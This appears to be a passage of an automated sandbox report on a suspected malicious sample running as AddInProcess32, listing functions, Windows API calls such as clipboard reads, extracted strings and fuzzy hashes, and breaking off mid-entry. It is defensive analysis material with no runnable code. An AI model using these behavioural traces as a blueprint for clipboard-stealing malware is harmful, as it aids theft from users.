CoInitialize.OLE32(00000000), ref: 004107F9
CoInitialize.OLE32(00000000), ref: 00410900

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 81c31d750177ce146e8527366045329e95e1cd398779ef2311c2f0a71d9e51a1
Instruction ID: abed82b44eab5e0305b69bf0d3f998583154d3816c8cbfe6d220a5d9129a85a7
Opcode Fuzzy Hash: 81c31d750177ce146e8527366045329e95e1cd398779ef2311c2f0a71d9e51a1
Instruction Fuzzy Hash: 3A319CF4C10B40AFD770AF3D9A0B6167EB4AB06650F504B1DF8E6966D4E330A4198BD7

Function 0040E1C0 Relevance: 1.6, APIs: 1, Instructions: 90
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(611D67ED,00000000,E3E2F9E0), ref: 0040E286

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f354ed4ba6b11e7200a9c2819eeba715480492adbba85cd9ccd0d76fe460f61b
Instruction ID: d211cc36a776a4650d6a25cec4ad6f3432bf0b80887fe1339dfabb32a98ff728
Opcode Fuzzy Hash: f354ed4ba6b11e7200a9c2819eeba715480492adbba85cd9ccd0d76fe460f61b
Instruction Fuzzy Hash: 86214478508380DBD314DF26ED426AF7BA1FBD6304F448C7EE18467253E739490A87AA

Function 0043DC40 Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 0043DCCD

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a0f17913f2525a0e0f8ffefbac48ff117ce078390c367a85a56a825d6d9baac1
Instruction ID: 9a37441ecb8038b1869d6f0b088ecbbae8f0e36ee8fdc8f39d9be2bbcf67dc69
Opcode Fuzzy Hash: a0f17913f2525a0e0f8ffefbac48ff117ce078390c367a85a56a825d6d9baac1
Instruction Fuzzy Hash: 470197BB65C3584FC7006F91EC986A6BBA4EFD1304F04403DD68046742DAFB6919C742

Function 00431859 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004318A4

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 4d478e6bdddb855f0a42b4350af7a0d5259f94e12a6cec9b326f29541d1672a7
Instruction ID: 3c9e977c450c4f135c35c7a6bcfc28f59b32f7b5f649b834322db586f9a604c7
Opcode Fuzzy Hash: 4d478e6bdddb855f0a42b4350af7a0d5259f94e12a6cec9b326f29541d1672a7
Instruction Fuzzy Hash: E9F074B12097029FE311DF65C5A574BBBE5BB81304F10891CE4E54B290C7B9A6498FC2

Function 00434A7F Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00434AC3

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: dd8744f0049f0022a9c290567ed1ddad564596e0051cb20ad7bad07382e971d4
Instruction ID: c572d4cf98657ec48b104726610bbd336e2b736b7c73d1d011650ea931ce08df
Opcode Fuzzy Hash: dd8744f0049f0022a9c290567ed1ddad564596e0051cb20ad7bad07382e971d4
Instruction Fuzzy Hash: A8F022B450D341DFE721DF29C5A871ABBE0BB85344F118A1CE4988B290D7B995498F82

Function 00440F68 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00440F76

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 13940e78a7961238caf54405e98899f048eea334418077796825dba2beec2cee
Instruction ID: 1d22e8fd700c48bebeffbf26d2c2cf474de0d3d9f3e244df8e013e987bfa5a4a
Opcode Fuzzy Hash: 13940e78a7961238caf54405e98899f048eea334418077796825dba2beec2cee
Instruction Fuzzy Hash: 04E08C7D6102408FE604DF25EC9142537A4F70B20A700083EE583D3362DF35E640CB0A

Function 0043A952 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043A965

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 677f9b71905706cf16ce5804c70032b7d76d069880a4bf33d681318f7dfbb6f8
Instruction ID: 08e963fcd4019adc8e60d466b8283255b1915ff9cc04a16a63baa1f472e6b219
Opcode Fuzzy Hash: 677f9b71905706cf16ce5804c70032b7d76d069880a4bf33d681318f7dfbb6f8
Instruction Fuzzy Hash: A8D09234381700ABE2318B14EC56F15B3A1BB4AF02F204458F7866F9E0CAF1BA118B08

Function 0043DC18 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00000000), ref: 0043DC24

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 523f707672c80aeae4c87f4b2abdfa20849dd833f8c33325c04bbf3597a922fb
Instruction ID: ca62b0fe6bc361b8fe52465035c8e03aaa158e12bb5b8da0d05e115494f84301
Opcode Fuzzy Hash: 523f707672c80aeae4c87f4b2abdfa20849dd833f8c33325c04bbf3597a922fb
Instruction Fuzzy Hash: 46B01234146110B8D03117120CC5FFFAD7CBF43F99F102014B204240C00754A001D07D

Non-executed Functions

Function 00435210 Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 120clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00435220
GetWindowLongW.USER32 ref: 0043524D
GetClipboardData.USER32 ref: 0043525D
CloseClipboard.USER32 ref: 0043539E

Strings

I, xrefs: 00435302
L, xrefs: 00435307
K, xrefs: 004352EE
], xrefs: 004352D5
V, xrefs: 004352E4
N, xrefs: 004352FD
Y, xrefs: 004352DA
q, xrefs: 004352CB
V, xrefs: 004352DF
_, xrefs: 004352D0
X, xrefs: 004352F3
Y, xrefs: 004352E9

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID: I$K$L$N$V$V$X$Y$Y$]$_$q
API String ID: 1647500905-2073889574
Opcode ID: 3d708e7702e4bf70994ea5c2850c4c62ff3c90e47989a721377a01ee830012d2
Instruction ID: 5f54679d46b1477f2188d147cccf107156d33419d86dcd770f9b8ea5c9be5ebf
Opcode Fuzzy Hash: 3d708e7702e4bf70994ea5c2850c4c62ff3c90e47989a721377a01ee830012d2
Instruction Fuzzy Hash: 59419F7150C781CFE300AF78D48836FBFD0AB96358F04486EE9C986382D6BD8548876B

Function 00401000 Relevance: 19.5, Strings: 14, Instructions: 1989COMMON

Download Yara Rule

Strings

, xrefs: 00403794
gfff, xrefs: 00401DBF
gfff, xrefs: 00401D75
, xrefs: 0040379B
, xrefs: 004037B0
0123456789abcdefxp, xrefs: 004013FA, 0040146C
gfff, xrefs: 00401D18
-, xrefs: 00401CCD
, xrefs: 004037A2
0123456789ABCDEFXP, xrefs: 004013EC, 0040145F
, xrefs: 00403826
, xrefs: 0040378D
gfff, xrefs: 00401D03
, xrefs: 004037A9

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $ $ $ $ $ $ $-$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff$gfff$gfff
API String ID: 0-3131871939
Opcode ID: 8d5e88b3c21fcc771f24b2529e4533188e40b42acd8efb67ea5d129d5fbbf216
Instruction ID: 82a1047e918a4e78821797639cc0c6063c4209a2a2cc243c20951bfdc3e4a492
Opcode Fuzzy Hash: 8d5e88b3c21fcc771f24b2529e4533188e40b42acd8efb67ea5d129d5fbbf216
Instruction Fuzzy Hash: 0DE2D2716083418FC718CF28C49436BBBE2AF95314F18867EE495AB3D1D778D949CB8A

Function 004012D5 Relevance: 16.0, Strings: 12, Instructions: 987COMMON

Download Yara Rule

Strings

0000, xrefs: 0040280E
0000, xrefs: 004027B3
i, xrefs: 00402A7E
@, xrefs: 004029AF
0000, xrefs: 004027C1
0000, xrefs: 004027C8
0, xrefs: 00402449
0000, xrefs: 004027BA
0, xrefs: 00402151
0000, xrefs: 004027AC
0000, xrefs: 004027A5
0, xrefs: 004021FF

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: 0$0$0$0000$0000$0000$0000$0000$0000$0000$@$i
API String ID: 0-3385986306
Opcode ID: 463e9afdf012da67d84867e87a37cec8d83071b3943f87856e8a01a6767cd0ff
Instruction ID: 43567f08c2414d3a819ad9695f197ad83829e26c61288a5e6a0b7cb6c91f239b
Opcode Fuzzy Hash: 463e9afdf012da67d84867e87a37cec8d83071b3943f87856e8a01a6767cd0ff
Instruction Fuzzy Hash: 8282D5756093418FC719CF28C69431ABBE1AB85304F18896EE8D5A73D1D3B8DD05CB8A

Function 0042AA40 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 523COMMON

Download Yara Rule

Strings

;:54, xrefs: 0042B75C
3L,S, xrefs: 0042B67E
D4'2, xrefs: 0042B66E
t|, xrefs: 0042B4CF
gw, xrefs: 0042B4BF

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: 3L,S$;:54$D4'2$gw$t|
API String ID: 0-148604455
Opcode ID: b6a5bcbc9e7952400bc449c7c29792027bb1d80a963eeb7271538c153ee93d5e
Instruction ID: 33cda5058ecfcda83a8ae49a4051d765de37c74bc4d0c890624df7c0bc77531d
Opcode Fuzzy Hash: b6a5bcbc9e7952400bc449c7c29792027bb1d80a963eeb7271538c153ee93d5e
Instruction Fuzzy Hash: 99F122B66083508FD3249F25D88166BBBE1FFC6315F448A2DE5C59B391D7788901CB86

Function 0041ECDE Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 521COMMON

Download Yara Rule

Strings

;:54, xrefs: 0041EF8C
;:54, xrefs: 0041F209
;:54, xrefs: 0041F169
;:54, xrefs: 0041F0B7
;:54, xrefs: 0041ED36

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: InitializeThunk
String ID: ;:54$;:54$;:54$;:54$;:54
API String ID: 2994545307-1306776023
Opcode ID: a1c4bc155694037db096d5376c81496c1941f374db6816183eda17924910fa6e
Instruction ID: 7a1c93435aac4f4fc6971621666823cbdd623ae048940ead9436b97a0d7840c7
Opcode Fuzzy Hash: a1c4bc155694037db096d5376c81496c1941f374db6816183eda17924910fa6e
Instruction Fuzzy Hash: F1F12C37648340DBD724CB14D8816BBB7A6EB8B704F18493DDAC657752D339DC828B8A

Function 004241E0 Relevance: 8.0, Strings: 6, Instructions: 461COMMON

Download Yara Rule

Strings

|~, xrefs: 00424284
){zy, xrefs: 00424385
GB, xrefs: 00424707
)B, xrefs: 0042428C
)6, xrefs: 00424294
sq, xrefs: 00424375

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: GB$){zy$)6$)B$|~$sq
API String ID: 0-1292531311
Opcode ID: 4e9632e30ef22d1c9d691365c99381acfbe6c67ba9f7670632b71d0e3dce93d0
Instruction ID: 71584c7dd643340a7c9b4b8dcbaefec527e76613856c743693e70a6483ef5efc
Opcode Fuzzy Hash: 4e9632e30ef22d1c9d691365c99381acfbe6c67ba9f7670632b71d0e3dce93d0
Instruction Fuzzy Hash: E1C123B16083208BD724DF25E85276BB7F1EFD2354F588A1DE4D58B390EB389805CB96

Function 0041E298 Relevance: 6.3, APIs: 4, Instructions: 347COMMON

Download Yara Rule

APIs

FindWindowExW.USER32(00000000,?,A3D19DEA,00000000), ref: 0041E410

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 611df0e037769dfec0ccbd250f884b13fa727b7773da6a687875ef7a21337769
Instruction ID: 8cc40bb880943b3fdd4a09bf692fc47349ab873484ee8d2c9c2d8e6455f3c944
Opcode Fuzzy Hash: 611df0e037769dfec0ccbd250f884b13fa727b7773da6a687875ef7a21337769
Instruction Fuzzy Hash: 21D1E2796083518FC725CF29D84069FBBE2EFC9308F08896EE4859B391DB74D945CB86

Function 004431D0 Relevance: 4.4, Strings: 3, Instructions: 680COMMON

Download Yara Rule

Strings

"5D, xrefs: 004434F8
G3D, xrefs: 0044331A
@3D, xrefs: 0044336E

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: "5D$@3D$G3D
API String ID: 0-1898335559
Opcode ID: a598e15b9f950c49bbc2326d93c3944d1d2eb3f819a396320624b7d3d119b0a3
Instruction ID: 0d27d5ca0624dddcec474f96472bfb5c1ea38ed4ad0558f269f9c7dbbb12b3c7
Opcode Fuzzy Hash: a598e15b9f950c49bbc2326d93c3944d1d2eb3f819a396320624b7d3d119b0a3
Instruction Fuzzy Hash: BF12FF39A05211CFDB18CF68D8906AEB7F2FB8A315F19847DC946A7352D335AD06CB84

Function 00421B40 Relevance: 4.4, Strings: 3, Instructions: 657COMMON

Download Yara Rule

Strings

;:54, xrefs: 00421CEE
s}, xrefs: 00421C18
;:54, xrefs: 00421C79

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: InitializeThunk
String ID: ;:54$;:54$s}
API String ID: 2994545307-2837035532
Opcode ID: 9df98e736ffcd3d527ee05afaf5ce9d017e9f9254f793c40ca85cc5ce89bb78d
Instruction ID: 663f8f0829c23ecb73308a959951e136473ffcabccf44f1e6a246336cf4c5ef0
Opcode Fuzzy Hash: 9df98e736ffcd3d527ee05afaf5ce9d017e9f9254f793c40ca85cc5ce89bb78d
Instruction Fuzzy Hash: 2E2220716083509BE720CF25D981B6FB7E2FBC5704F54882EEA859B391D778E801CB5A

Function 004432C0 Relevance: 4.4, Strings: 3, Instructions: 637COMMON

Download Yara Rule

Strings

"5D, xrefs: 004434F8
G3D, xrefs: 0044331A
@3D, xrefs: 0044336E

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: "5D$@3D$G3D
API String ID: 0-1898335559
Opcode ID: 17224c73dc5f5cce02b72de51cf9a04c92f2e2c01acddb2e884a7e03e58e1cd1
Instruction ID: f5333144ef70c2a173cc619d7536ed6f405604b094df42d2374a6f5ff99be012
Opcode Fuzzy Hash: 17224c73dc5f5cce02b72de51cf9a04c92f2e2c01acddb2e884a7e03e58e1cd1
Instruction Fuzzy Hash: 2C020F39A05211CFDB18CF68D8906AEB7F2FB8A315F19847DD846A7342D335AD06CB94

Function 0042AC04 Relevance: 4.3, Strings: 3, Instructions: 578COMMON

Download Yara Rule

Strings

SRP\, xrefs: 0042B030
YB]G, xrefs: 0042B048
TU, xrefs: 0042B338

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: SRP\$TU$YB]G
API String ID: 0-3716301176
Opcode ID: 5bb14eefcdfe82c0fe0139c8d462f47c3a2ca31c9906138fdde2f92c6f65c02a
Instruction ID: 2ab5dbaa93f2d707f6f6e66add1144ac258b2aec8bad53236f1827fb2ff53458
Opcode Fuzzy Hash: 5bb14eefcdfe82c0fe0139c8d462f47c3a2ca31c9906138fdde2f92c6f65c02a
Instruction Fuzzy Hash: 560236B5608351CFC7049F25D89126BB7E2EFD6305F08892EE8C597391E378D906CB9A

Function 0040E8D6 Relevance: 3.8, Strings: 3, Instructions: 52COMMON

Download Yara Rule

Strings

:g;1, xrefs: 0040E8DE
j, xrefs: 0040E91D
%!-0, xrefs: 0040E906

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: %!-0$:g;1$j
API String ID: 0-565037024
Opcode ID: 7b9a6866fc4e5d30e60d019d32dbd4ea46c18ece08942ca496210e84bbbb75cb
Instruction ID: 32df4f5ca928b1c4db86954fec2fd0b7d1b741fb7c4248b2e7c729c7ce3ce05b
Opcode Fuzzy Hash: 7b9a6866fc4e5d30e60d019d32dbd4ea46c18ece08942ca496210e84bbbb75cb
Instruction Fuzzy Hash: D111BFB0209380CBC3558F3A945052BFBE0EB82708F585E6DE0D27B391D374CD1A9B4A

Function 0040E996 Relevance: 3.8, Strings: 3, Instructions: 25COMMON

Download Yara Rule

Strings

j, xrefs: 0040E9DD
%!-0, xrefs: 0040E9C6
:g;1, xrefs: 0040E99E

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: %!-0$:g;1$j
API String ID: 0-565037024
Opcode ID: fa23b5c8106c8b6eb18a1e5e27922acec8cb3fb0240a5a66eefb843f2f12593b
Instruction ID: 596850defd4a036336a324cb21a7a3242656b73628fcb9d0064f5a2a21d3f7d4
Opcode Fuzzy Hash: fa23b5c8106c8b6eb18a1e5e27922acec8cb3fb0240a5a66eefb843f2f12593b
Instruction Fuzzy Hash: A8F044A00083408BC7018F29955141BFFE0FB96218F806E2CE0E67B282D3B4C60A8B4B

Function 004433B0 Relevance: 1.8, Strings: 1, Instructions: 572COMMON

Download Yara Rule

Strings

"5D, xrefs: 004434F8

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: "5D
API String ID: 0-386403491
Opcode ID: 35056113c60dbd41f8426ba1490496434605cc7e9e6b29d771693653d0998dbf
Instruction ID: d7a0add943f148724df6d99197c8bd1c248c42391e822a4ab72d2176c05d2b00
Opcode Fuzzy Hash: 35056113c60dbd41f8426ba1490496434605cc7e9e6b29d771693653d0998dbf
Instruction Fuzzy Hash: 1D02F135A05215CFDB18CF68D8906AEB7F2FB8A315F19807EC846A7342D735AD06CB94

Function 0042E400 Relevance: 1.6, Strings: 1, Instructions: 382COMMON

Download Yara Rule

Strings

", xrefs: 0042E6E8

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 93ecab8819888c1490301e4ea4446f15b79a23bacf294943aa3e848e668045df
Instruction ID: 68251316c82459e1b79cf8655833eab7d307529819052df6cdad143cf461d429
Opcode Fuzzy Hash: 93ecab8819888c1490301e4ea4446f15b79a23bacf294943aa3e848e668045df
Instruction Fuzzy Hash: 48C13AB2B043205BD714DE26E49076BB7E5AF84354F98892FE89587382E73CEC44C796

Function 00421333 Relevance: 1.5, Strings: 1, Instructions: 288COMMON

Download Yara Rule

Strings

US, xrefs: 004210B4

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: US
API String ID: 0-1549774597
Opcode ID: 40c57cd8e3745a142ea7a9c493a00c5e26e3ea1eaa4ddc22655fa54c1efa7ee4
Instruction ID: 3024a2b3aec96dee861537dac0de769f6ce30434eb834ac09468a51a814e571a
Opcode Fuzzy Hash: 40c57cd8e3745a142ea7a9c493a00c5e26e3ea1eaa4ddc22655fa54c1efa7ee4
Instruction Fuzzy Hash: BD818EB1A00215CBCB10CF64D8926B7B3B0FF55364F18815AD8566F7A1E339D912CB98

Function 0042E870 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042EA6E

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: b5b56033d86e36a5a2f775e18004cfca431a6ac7bf94099ec4257ac67d618ec2
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 80710D32B083354BD714CE2AD48031FBBE2ABC5710F99896FE4D597351D639EC45878A

Function 0042CA72 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dac00791858fab75043c3ebe8725bd6b90e717e613227aa0d7df2b38d43a0c8
Instruction ID: 675397662e7d35c3e988c68934b2adc1cfbc6c7944ee00e9ec449aaad2b39987
Opcode Fuzzy Hash: 3dac00791858fab75043c3ebe8725bd6b90e717e613227aa0d7df2b38d43a0c8
Instruction Fuzzy Hash: 32911271A483258BD320EF55D89172BB3A1FFD1354F48892EE8C54B390E778D905CB9A

Function 00405820 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9b9628c1fd3a7af3e7b851a87d3cce98a572a95508a51e7ee5e35bc07ab5006
Instruction ID: 6fa81707170a7b0eec34b7c549ef7d1de648c0191335202d19104e511ca05f9f
Opcode Fuzzy Hash: a9b9628c1fd3a7af3e7b851a87d3cce98a572a95508a51e7ee5e35bc07ab5006
Instruction Fuzzy Hash: CB51C0B5A042009FC714EF18D880927B7A1FF84328F19467EE899AB392D735EC51CF95

Function 00444380 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b30be3330aa3a9b0776dd9b3a63c4cc084a984c5573858b65a5c04746aedeb5a
Instruction ID: d8175d673cc7335d824d045451b58485fcddcae10ae5620f16eb342d1db79df6
Opcode Fuzzy Hash: b30be3330aa3a9b0776dd9b3a63c4cc084a984c5573858b65a5c04746aedeb5a
Instruction Fuzzy Hash: 73415839744300AFF7248B58DCC1B3BB7A6EBD9704F29402DE6815B7A1D675AC00C78A

Function 0043B170 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d624a46ec4e71eabbd80c37bbad157a9d24962d0d9c9ffba726a93ffd2bd3c95
Instruction ID: a6169620d5a1696827cd8f84d74400514db1317b9fd11854ebdf9f64215e6560
Opcode Fuzzy Hash: d624a46ec4e71eabbd80c37bbad157a9d24962d0d9c9ffba726a93ffd2bd3c95
Instruction Fuzzy Hash: D8314A76B043046BE710A9659C85F3B729ADBC8758F04057EFE4493252F739EC0183E6

Function 0040C960 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e39b47d5e8a9fdadff90607e363d12ddf690496f365585e828c43316a0f8579
Instruction ID: 6806c5bbc4d6b822e97fdcaec603f9dae13aeb23598a5c10dbecc01c31c55fc2
Opcode Fuzzy Hash: 2e39b47d5e8a9fdadff90607e363d12ddf690496f365585e828c43316a0f8579
Instruction Fuzzy Hash: D9317A299492E586C332CA3D84E016EBF906D972247A943FFCCF11F3C3C556898687E5

Function 0041C8CE Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abb1041f84a4648d79a0668f75aff97b8991a851480defd9ebff2808c4dda2e0
Instruction ID: 561eeec7ef4372a3df09e76981c1185a624b11daafb68e3f07fe16c596ccf13b
Opcode Fuzzy Hash: abb1041f84a4648d79a0668f75aff97b8991a851480defd9ebff2808c4dda2e0
Instruction Fuzzy Hash: 733191B15483408BC7349F14C8923EBB7B1FFA6354F14991DE4C95B391E3788981CB9A

Function 0043FAD0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 182ff49e939f1398294b9512b1f3ca232d73da5c2630492eafcdb88c1e4c075a
